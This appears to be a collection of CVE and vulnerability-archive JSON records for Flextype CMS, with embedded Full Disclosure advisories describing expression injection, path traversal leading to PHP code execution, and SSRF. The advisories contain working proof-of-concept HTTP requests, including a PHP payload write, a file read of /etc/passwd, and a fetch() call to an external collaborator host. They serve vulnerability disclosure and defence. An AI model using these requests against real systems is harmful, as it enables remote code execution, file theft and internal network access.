{
  "affected": [
    {
      "affectedData": [
        {
          "defaultStatus": "affected",
          "packageURL": "pkg:github/flextype/flextype",
          "product": "flextype",
          "repo": "https://github.com/flextype/flextype",
          "vendor": "flextype",
          "versions": [
            {
              "lessThanOrEqual": "1.0.0-dev",
              "status": "affected",
              "version": "0",
              "versionType": "custom"
            },
            {
              "lessThanOrEqual": "aea4ead8c449ea5517ed53b6dcbd28b0a528ad9d",
              "status": "affected",
              "version": "0",
              "versionType": "git"
            }
          ]
        }
      ],
      "source": "disclosure@vulncheck.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Flextype CMS through v1.0.0-dev contains an expression language injection vulnerability that allows authenticated attackers with a valid API token to read arbitrary files by passing unsanitized user-supplied input to the Symfony ExpressionLanguage engine via the POST /api/v1/query endpoint. Attackers can leverage exposed application objects including filesystem() and serializers() within the evaluation scope to read arbitrary server files and achieve conditional remote code execution if a PHP file can be placed on disk through a secondary vector."
    }
  ],
  "id": "CVE-2026-77939",
  "lastModified": "2026-09-08T20:23:49.880",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 6.5,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "NONE",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 3.6,
        "source": "disclosure@vulncheck.com",
        "type": "Secondary"
      }
    ],
    "cvssMetricV40": [
      {
        "cvssData": {
          "Automatable": "NOT_DEFINED",
          "Recovery": "NOT_DEFINED",
          "Safety": "NOT_DEFINED",
          "attackComplexity": "LOW",
          "attackRequirements": "NONE",
          "attackVector": "NETWORK",
          "availabilityRequirement": "NOT_DEFINED",
          "baseScore": 7.1,
          "baseSeverity": "HIGH",
          "confidentialityRequirement": "NOT_DEFINED",
          "exploitMaturity": "NOT_DEFINED",
          "integrityRequirement": "NOT_DEFINED",
          "modifiedAttackComplexity": "NOT_DEFINED",
          "modifiedAttackRequirements": "NOT_DEFINED",
          "modifiedAttackVector": "NOT_DEFINED",
          "modifiedPrivilegesRequired": "NOT_DEFINED",
          "modifiedSubAvailabilityImpact": "NOT_DEFINED",
          "modifiedSubConfidentialityImpact": "NOT_DEFINED",
          "modifiedSubIntegrityImpact": "NOT_DEFINED",
          "modifiedUserInteraction": "NOT_DEFINED",
          "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
          "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
          "modifiedVulnIntegrityImpact": "NOT_DEFINED",
          "privilegesRequired": "LOW",
          "providerUrgency": "NOT_DEFINED",
          "subAvailabilityImpact": "NONE",
          "subConfidentialityImpact": "NONE",
          "subIntegrityImpact": "NONE",
          "userInteraction": "NONE",
          "valueDensity": "NOT_DEFINED",
          "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
          "version": "4.0",
          "vulnAvailabilityImpact": "NONE",
          "vulnConfidentialityImpact": "HIGH",
          "vulnIntegrityImpact": "NONE",
          "vulnerabilityResponseEffort": "NOT_DEFINED"
        },
        "source": "disclosure@vulncheck.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-77939",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-08-28T20:21:53.787122Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-08-28T20:19:56.397",
  "references": [
    {
      "source": "disclosure@vulncheck.com",
      "url": "https://github.com/flextype/flextype/issues/595"
    },
    {
      "source": "disclosure@vulncheck.com",
      "url": "https://www.vulncheck.com/advisories/flextype-cms-dev-rce-via-post-api-v1-query-endpoint"
    }
  ],
  "sourceIdentifier": "disclosure@vulncheck.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-94"
        },
        {
          "lang": "en",
          "value": "CWE-1336"
        }
      ],
      "source": "disclosure@vulncheck.com",
      "type": "Secondary"
    }
  ]
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Flextype",
          "vendor": "Flextype",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Ron E"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Description\n\nFlextype CMS contains a remote code execution vulnerability in the\ninteraction between the Entries API and Shortcodes::registerShortcodes().\nThe /api/v1/entries endpoint accepts an attacker-controlled entry\nidentifier that can contain path traversal sequences, allowing content\ncontaining PHP code to be written outside the intended entries directory.\n\nThe /api/v1/query endpoint subsequently permits an attacker-controlled path\nto reach Shortcodes::registerShortcodes(), where the supplied path is\npassed to an include_once operation relative to FLEXTYPE_ROOT_DIR.\n\nAn attacker can therefore first use the path traversal condition to place a\nPHP-containing file at a predictable location beneath the application root\nand then invoke registerShortcodes() with the path to that file. PHP\ninterprets the included file as executable PHP regardless of the .md\nextension, resulting in execution of attacker-controlled code in the\ncontext of the Flextype PHP process.\nImpact\n\nA remote attacker with the required API access can execute arbitrary PHP\ncode with the privileges of the Flextype application process. This may\nresult in complete compromise of the affected Flextype installation,\nincluding unauthorized access to application data, modification or deletion\nof content, disclosure of sensitive configuration or credentials accessible\nto the application, installation of persistent malicious code, and further\ncompromise of resources accessible from the application server.\n\nThe demonstrated proof of concept performs only a benign filesystem write\nto /tmp/register-shortcodes-rce-proof, confirming arbitrary PHP execution\nwithout performing destructive actions.\nTechnical DetailsStep 1 \u2014 Path Traversal Allows PHP Content to Be Written\nBeneath the Application Root\n\nThe /api/v1/entries endpoint accepts the attacker-controlled identifier\n../../rce-register-shortcodes. The traversal sequence causes the resulting\nentry to be written to /app/rce-register-shortcodes/entry.md rather than\nremaining within the intended entries storage location.\n\nPOST /api/v1/entries HTTP/1.1\nHost: 127.0.0.1:18089\nContent-Type: application/json\n\n{\"token\":\"lab-token\",\"access_token\":\"password\",\"id\":\"../../rce-register-shortcodes\",\"data\":{\"title\":\"register\nshortcodes rce\",\"content\":\"\u003c?php\nfile_put_contents(\u0027/tmp/register-shortcodes-rce-proof\u0027,\n\u0027REGISTER_SHORTCODES_RCE_PROOF\u0027); ?\u003e\"}}\n\nThe server accepts the traversal identifier and returns a successful\nresponse:\n\nHTTP/1.1 200 OK\nHost: 127.0.0.1:18089\nContent-Type: application/json;charset=UTF-8\nContent-Length: 410\nAccess-Control-Allow-Origin: *\n\n{\"title\":\"register shortcodes\nrce\",\"published_by\":\"\",\"created_by\":\"\",\"uuid\":\"77bce63b-9006-46df-8bbc-48e2182d5b84\",\"content\":\"\u003c?php\nfile_put_contents(\u0027/tmp/register-shortcodes-rce-proof\u0027,\n\u0027REGISTER_SHORTCODES_RCE_PROOF\u0027);\n?\u003e\",\"slug\":\"rce-register-shortcodes\",\"published_at\":1788178537,\"modified_at\":1788178537,\"created_at\":1788178537,\"routable\":true,\"visibility\":\"visible\",\"id\":\"../../rce-register-shortcodes\"}\n\nThe resulting file is created at:\n\n/app/rce-register-shortcodes/entry.md\n\nIts contents include the supplied PHP payload:\n\n---\ntitle: \u0027register shortcodes rce\u0027\npublished_by: \u0027\u0027\ncreated_by: \u0027\u0027\nuuid: 77bce63b-9006-46df-8bbc-48e2182d5b84\n---\n\u003c?php file_put_contents(\u0027/tmp/register-shortcodes-rce-proof\u0027,\n\u0027REGISTER_SHORTCODES_RCE_PROOF\u0027); ?\u003e\n\nBefore the file is included, the proof file does not exist:\n\nmarker_exists=no\n\nThis confirms that merely writing the entry does not execute the PHP\npayload.\nStep 2 \u2014 Attacker-Controlled Path Reaches registerShortcodes() include_once\n\nThe attacker can then invoke parsers().shortcodes().registerShortcodes()\nthrough /api/v1/query and supply the path of the previously created file:\n\nPOST /api/v1/query HTTP/1.1\nHost: 127.0.0.1:18089\nContent-Type: application/json\n\n{\"token\":\"lab-token\",\"access_token\":\"password\",\"query\":{\"include\":\"parsers().shortcodes().registerShortcodes([{enabled:\ntrue, path: \u0027rce-register-shortcodes/entry.md\u0027}])\"}}\n\nThe supplied path reaches an include_once operation equivalent to:\n\ninclude_once FLEXTYPE_ROOT_DIR . \u0027/\u0027 . $path;\n\nThe server successfully processes the request:\n\nHTTP/1.1 200 OK\nHost: 127.0.0.1:18089\nContent-Type: application/json;charset=UTF-8\nContent-Length: 16\nAccess-Control-Allow-Origin: *\n\n{\"include\":null}\n\nFollowing the registerShortcodes() invocation, the marker file exists:\n\nmarker_exists=yes\nREGISTER_SHORTCODES_RCE_PROOF\n\nThe transition from marker_exists=no before the include_once operation to\nmarker_exists=yes afterward demonstrates that the PHP contained within\nentry.md was interpreted and executed by the PHP runtime.\nExploitation Chain\n\nThe demonstrated attack consists of two conditions:\n\n   1. *Path traversal / arbitrary file write:* attacker-controlled PHP\n   content is written beneath the Flextype application root using\n   /api/v1/entries.\n   2. *Attacker-controlled PHP inclusion:* /api/v1/query allows the\n   attacker to pass the created file to Shortcodes::registerShortcodes(),\n   which reaches include_once.\n\nWhen chained, these conditions result in remote arbitrary PHP code\nexecution.\n\nRon Edgerson\nVulnerability Researcher \u0026 Exploit Developer\n\nCVE Research | Binary Exploitation | Application \u0026 Systems Security\nResponsible Disclosure \u2022 Proof-of-Concept Development\n\n\ud83c\udf10 https://github.com/ob1sec\n\ud83d\udd17 https://www.linkedin.com/in/ronedgerson1\n\u003chttps://linkedin.com/in/yourhandle\u003e\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T13:04:02Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/27"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Sep/27"
        },
        {
          "url": "https://github.com/ob1sec"
        },
        {
          "url": "https://linkedin.com/in/yourhandle"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.linkedin.com/in/ronedgerson1"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Sep/27"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "Flextype v1.0.0-alpha.3 CMS registerShortcodes() Remote Code Execution via Attacker-Controlled File Inclusion",
      "x_gcve": [
        {
          "recordType": "analysis",
          "relationships": [
            {
              "destId": "CVE-2026-77939",
              "type": "possibly_related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0171",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/27",
            "automated": true,
            "contentSha256": "cec7964b74c54019ca126c9c212da2fd328a1ff216fefb227384a3d13481e4fc",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/27",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-08-31T12:33:45Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0171"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T07:25:42Z",
    "dateUpdated": "2026-09-09T13:04:02Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0171"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Flextype",
          "vendor": "Flextype",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Ron E"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Description\n\nFlextype CMS v1.0.0-alpha.3 contains a stored arbitrary expression\ninjection vulnerability in the Entries ExpressionsDirective. An\nauthenticated remote attacker with sufficient privileges to create or\nmodify entries can persist arbitrary expression syntax within an entry\nfield. When the affected field is subsequently retrieved or processed,\nFlextype passes the stored value to parsers()-\u003eexpressions()-\u003eparse(),\ncausing the attacker-controlled expression to be evaluated server-side.\n\nThe expression environment exposes application functionality including the\nfilesystem() object. An attacker can therefore store an expression that\naccesses arbitrary files readable by the Flextype PHP process. Testing\nconfirmed exploitation by storing an expression referencing /etc/passwd\nwithin an entry\u0027s title field. The expression remained persisted within the\nunderlying entry file and was evaluated when the entry was processed,\nresulting in disclosure of /etc/passwd.\n\nThis represents a stored execution path because the expression itself\ncrosses the persistence boundary and remains within the entry rather than\nrequiring the attacker to supply the complete expression during each\nsubsequent request.\nImpact\n\nAn authenticated remote attacker can persist arbitrary expressions within\nFlextype entry fields that are subsequently evaluated by the server-side\nexpression engine.\n\nThe demonstrated vulnerability allows arbitrary files accessible to the\nFlextype PHP process to be read. This could expose sensitive server-side\ninformation including application configuration files, credentials, API\nkeys, database connection information, source code, operating-system\ninformation, and other secrets available to the application account.\n\nBecause the malicious expression is persisted within the entry, subsequent\nprocessing of the affected field can cause the expression to be evaluated\nagain. Additional impact may be possible depending on the objects and\nfunctionality exposed to the expression environment.\n\nDetailsVulnerable Expressions Directive Implementation\n\nFlextype registers an onEntriesFetchSingleField listener responsible for\nprocessing expressions contained within individual entry fields.\n\nWhen expression directives and global expression processing are enabled,\nthe implementation retrieves the current entry field, constructs variables\nfrom the entry data, and passes string field values directly to the\nexpression parser.\n\n\u003c?php\n\ndeclare(strict_types=1);\n\n/**\n * Flextype - Hybrid Content Management System with the freedom of a\nheadless CMS\n * and with the full functionality of a traditional CMS!\n *\n * Copyright (c) Sergey Romanenko (https://awilum.github.io)\n *\n * Licensed under The MIT License.\n *\n * For full copyright and license information, please see the LICENSE\n * Redistributions of files must retain the above copyright notice.\n */\n\nnamespace Flextype\\Entries\\Directives;\n\nuse function Glowy\\Strings\\strings;\nuse function Flextype\\emitter;\nuse function Flextype\\entries;\nuse function Flextype\\parsers;\nuse function Flextype\\registry;\nuse function Flextype\\collection;\n\n// Directive: [[ ]] [% %] [# #]\nemitter()-\u003eaddListener(\u0027onEntriesFetchSingleField\u0027, static function (): void {\n\n    if (! registry()-\u003eget(\u0027flextype.settings.entries.directives.expressions.enabled\u0027))\n{\n        return;\n    }\n\n    if (! registry()-\u003eget(\u0027flextype.settings.entries.directives.expressions.enabled_globally\u0027))\n{\n        return;\n    }\n\n    $field = entries()-\u003eregistry()-\u003eget(\u0027methods.fetch.field\u0027);\n\n    if (is_string($field[\u0027value\u0027]) \u0026\u0026\nstrings($field[\u0027value\u0027])-\u003econtains(\u0027!expressions\u0027)) {\n        return;\n    }\n\n    $vars = [];\n\n    // Convert entry fields to vars.\n    foreach (json_decode(json_encode((object)\nentries()-\u003eregistry()-\u003eget(\u0027methods.fetch.result\u0027)), false) as $key =\u003e\n$value) {\n        $vars[$key] = $value;\n    }\n\n    if (is_string($field[\u0027value\u0027])) {\n        $field[\u0027value\u0027] =\nparsers()-\u003eexpressions()-\u003eparse($field[\u0027value\u0027], $vars);\n    }\n\n    entries()-\u003eregistry()-\u003eset(\u0027methods.fetch.field.key\u0027, $field[\u0027key\u0027]);\n    entries()-\u003eregistry()-\u003eset(\u0027methods.fetch.field.value\u0027, $field[\u0027value\u0027]);\n});\n\nThe security-sensitive operation occurs when the stored field value is\npassed directly to the expression parser:\n\nif (is_string($field[\u0027value\u0027])) {\n    $field[\u0027value\u0027] = parsers()-\u003eexpressions()-\u003eparse($field[\u0027value\u0027], $vars);\n}\n\nProof of Concept \u2014 Store Arbitrary Expression\n\nAn authenticated attacker can create an entry through /api/v1/entries and\nsupply expression syntax within an attacker-controlled field.\n\nThe following request places a filesystem() expression within the title\nfield that reads /etc/passwd:\n\nPOST /api/v1/entries HTTP/1.1\nHost: 127.0.0.1:18080\nContent-Type: application/json\n\n{\"token\":\"lab-token\",\"access_token\":\"password\",\"id\":\"expr-api-proof\",\"data\":{\"title\":\"[[\nfilesystem().file(\u0027/etc/passwd\u0027).get() ]]\",\"content\":\"created through\nAPI\"}}\n\nThe application evaluates the supplied expression and returns the contents\nof /etc/passwd:\n\nHTTP/1.1 200 OK\nHost: 127.0.0.1:18080\nDate: Mon, 31 Aug 2026 01:49:16 GMT\nConnection: close\nX-Powered-By: PHP/8.1.34\nContent-Type: application/json;charset=UTF-8\nContent-Length: 1141\nAccess-Control-Allow-Origin: *\n\n{\"title\":\"root:x:0:0:root:/root:/bin/bash\\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\\nsync:x:4:65534:sync:/bin:/bin/sync\\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\\nlist:x:38:38:Mailing\nList \nManager:/var/list:/usr/sbin/nologin\\nirc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin\\n_apt:x:42:65534::/nonexistent:/usr/sbin/nologin\\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\\n\",\"content\":\"created\nthrough API\",\"slug\":\"expr-api-proof\",\"visibility\":\"visible\",\"id\":\"expr-api-proof\"}\n\nProof of Concept \u2014 Expression Persistence\n\nInspection of the resulting Flextype entry demonstrates that the expression\nitself is persisted on disk rather than being replaced by the evaluated\n/etc/passwd contents:\n\nrealpath: /app/project/entries/expr-api-proof/entry.md\n---\n---\ntitle: \"[[ filesystem().file(\u0027/etc/passwd\u0027).get() ]]\"\npublished_by: \u0027\u0027\ncreated_by: \u0027\u0027\nuuid: 15420ada-de60-4bc6-b7b2-387df908e0e3\n---\ncreated through API\n\nThis demonstrates that the expression remains part of the stored entry and\nis not limited to a reflected or one-time expression evaluation condition.\nProof of Concept \u2014 Stored Expression Evaluation\n\nThe stored entry can subsequently be retrieved using its normal entry\nidentifier without resupplying the expression:\n\nGET /api/v1/entries?token=lab-token\u0026id=expr-api-proof HTTP/1.1\nHost: 127.0.0.1:18080\n\nFlextype evaluates the expression previously stored within the entry and\nreturns the resulting /etc/passwd contents:\n\nHTTP/1.1 200 OK\nHost: 127.0.0.1:18080\nDate: Mon, 31 Aug 2026 01:49:16 GMT\nConnection: close\nX-Powered-By: PHP/8.1.34\nContent-Type: application/json;charset=UTF-8\nContent-Length: 1141\nAccess-Control-Allow-Origin: *\n\n{\"title\":\"root:x:0:0:root:/root:/bin/bash\\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\\nsync:x:4:65534:sync:/bin:/bin/sync\\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\\nlist:x:38:38:Mailing\nList \nManager:/var/list:/usr/sbin/nologin\\nirc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin\\n_apt:x:42:65534::/nonexistent:/usr/sbin/nologin\\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\\n\",\"content\":\"created\nthrough API\",\"slug\":\"expr-api-proof\",\"visibility\":\"visible\",\"id\":\"expr-api-proof\"}\n\nThe GET request contains only the normal entry identifier. The expression\nresponsible for the file read originates from the previously persisted\nentry data and is evaluated during subsequent entry processing.\nRoot Cause\n\nThe vulnerability occurs because Flextype treats stored entry content as\nexecutable expression syntax during normal entry processing.\n\nSpecifically:\n\nif (is_string($field[\u0027value\u0027])) {\n    $field[\u0027value\u0027] = parsers()-\u003eexpressions()-\u003eparse($field[\u0027value\u0027], $vars);\n}\n\nThere is no trust-boundary distinction between ordinary\nattacker-controllable entry content and trusted application expressions\nbefore the field value reaches the expression parser.\n\nAs a result, data supplied through an entry-management interface can\ntransition from stored application content into executable server-side\nexpression syntax.\n\nRon Edgerson\nVulnerability Researcher \u0026 Exploit Developer\n\nCVE Research | Binary Exploitation | Application \u0026 Systems Security\nResponsible Disclosure \u2022 Proof-of-Concept Development\n\n\ud83c\udf10 https://github.com/ob1sec\n\ud83d\udd17 https://www.linkedin.com/in/ronedgerson1\n\u003chttps://linkedin.com/in/yourhandle\u003e\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T13:03:53Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/20"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Sep/20"
        },
        {
          "url": "https://awilum.github.io"
        },
        {
          "url": "https://github.com/ob1sec"
        },
        {
          "url": "https://linkedin.com/in/yourhandle"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.linkedin.com/in/ronedgerson1"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Sep/20"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "Flextype v1.0.0-alpha.3 Stored Arbitrary Expression Injection in ExpressionsDirective Allows Arbitrary File Read",
      "x_gcve": [
        {
          "recordType": "analysis",
          "relationships": [
            {
              "destId": "CVE-2026-77939",
              "type": "possibly_related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0178",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/20",
            "automated": true,
            "contentSha256": "4ef4571772099f511d4658f6df8f223d6c77b7b835548b20ea9e9e9cf1cfbd4f",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/20",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-08-31T02:09:12Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0178"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T07:25:42Z",
    "dateUpdated": "2026-09-09T13:03:53Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0178"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Flextype",
          "vendor": "Flextype",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Ron E"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Description\n\nFlextype CMS v1.0.0-alpha.3 contains a server-side request forgery (SSRF)\nvulnerability in the expression-processing functionality exposed through\nthe /api/v1/query endpoint. An authenticated remote attacker can supply an\narbitrary URL to the exposed fetch() function, causing the Flextype server\nto initiate an outbound HTTP request to an attacker-controlled destination.\n\nThe application does not sufficiently restrict the destination supplied to\nfetch(). Testing confirmed that an attacker-controlled expression submitted\nthrough the Query API caused the Flextype server to connect to an external\nBurp Collaborator endpoint.\n\nThe HTTP response received by the Flextype server, including its status\ncode, response headers, and response body, was subsequently returned to the\nattacker through the API response. The vulnerability therefore provides a\nnon-blind SSRF primitive and allows an attacker to interact with network\nresources from the security context and network position of the Flextype\nserver.\nImpact\n\nSuccessful exploitation allows an authenticated remote attacker to cause\nthe Flextype server to initiate arbitrary server-side HTTP requests.\n\nBecause the response to the server-side request is returned through the\nQuery API, an attacker may potentially use the vulnerability to enumerate\nand interact with HTTP services accessible from the Flextype host,\nincluding services that are not directly accessible from the attacker\u0027s\nnetwork location.\n\nDepending on the deployment environment and network configuration,\npotential targets may include internal web applications, administrative\ninterfaces, loopback services, private network resources, and other\nHTTP-accessible infrastructure reachable by the Flextype server.\n\nThe demonstrated vulnerability is non-blind because response data from the\nrequested destination is returned to the attacker.\nDetailsServer-Side Request Forgery via fetch()\n\nThe /api/v1/query endpoint accepts expressions that are evaluated by the\nFlextype expression-processing environment. The environment exposes a\nfetch() function capable of initiating HTTP requests.\n\nAn authenticated attacker can provide an attacker-controlled URL to this\nfunction.\n\nThe following request instructs the Flextype server to request an external\nBurp Collaborator endpoint:\n\nPOST /api/v1/query HTTP/1.1\nHost: 127.0.0.1:18080\nContent-Type: application/json\n\n{\"token\":\"lab-token\",\"access_token\":\"password\",\"query\":{\"ssrf\":\"fetch(\u0027http://042--snip--.oastify.com\u0026apos;)\"}}\n\nThe server responds with the result of the outbound request:\n\nHTTP/1.1 200 OK\nHost: 127.0.0.1:18080\nDate: Mon, 31 Aug 2026 01:49:16 GMT\nConnection: close\nX-Powered-By: PHP/8.1.34\nSet-Cookie: Flextype=438637f69a696e857bd9c8446fe7c8d3; path=/\nExpires: Thu, 19 Nov 1981 08:52:00 GMT\nCache-Control: no-store, no-cache, must-revalidate\nPragma: no-cache\nContent-Type: application/json;charset=UTF-8\nContent-Length: 269\nAccess-Control-Allow-Origin: *\nAccess-Control-Allow-Headers: X-Requested-With, Content-Type, Accept,\nOrigin, Authorization\nAccess-Control-Allow-Methods: GET, POST, PUT, DELETE, PATCH, OPTIONS\nAccess-Control-Allow-Expose:\nAccess-Control-Allow-Credentials: false\n\n{\"ssrf\":{\"reasonPhrase\":\"OK\",\"statusCode\":200,\"headers\":{\"Server\":[\"Burp\nCollaborator \nhttps://burpcollaborator.net/\"],\"X-Collaborator-Version\":[\"4\"],\"Content-Type\":[\"text/html\"],\"Content-Length\":[\"55\"]},\"body\":\";\u003chtml\u003e\u003cbody\u003e2trzdergwz6ntzdoje2rmtzjjgmgz\u003c/body\u003e\u003c/html\u003e\"}}\n\nThe returned data identifies the destination as a Burp Collaborator server:\n\nServer: Burp Collaborator https://burpcollaborator.net/\nX-Collaborator-Version: 4\n\nAdditionally, the destination\u0027s response body is returned through Flextype:\n\n\u003chtml\u003e\u003cbody\u003e2trzdergwz6ntzdoje2rmtzjjgmgz\u003c/body\u003e\u003c/html\u003e\n\nThis demonstrates that the request originates from the Flextype server and\nthat response data is made available to the authenticated attacker.\n\nRon Edgerson\nVulnerability Researcher \u0026 Exploit Developer\n\nCVE Research | Binary Exploitation | Application \u0026 Systems Security\nResponsible Disclosure \u2022 Proof-of-Concept Development\n\n\ud83c\udf10 https://github.com/ob1sec\n\ud83d\udd17 https://www.linkedin.com/in/ronedgerson1\n\u003chttps://linkedin.com/in/yourhandle\u003e\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T13:03:55Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/21"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Sep/21"
        },
        {
          "url": "http://042--snip--.oastify.com\u0026apos"
        },
        {
          "url": "https://burpcollaborator.net/"
        },
        {
          "url": "https://burpcollaborator.net/\"],\"X-Collaborator-Version\":[\"4\"],\"Content-Type\":[\"text/html\"],\"Content-Length\":[\"55\"]},\"body\":\""
        },
        {
          "url": "https://github.com/ob1sec"
        },
        {
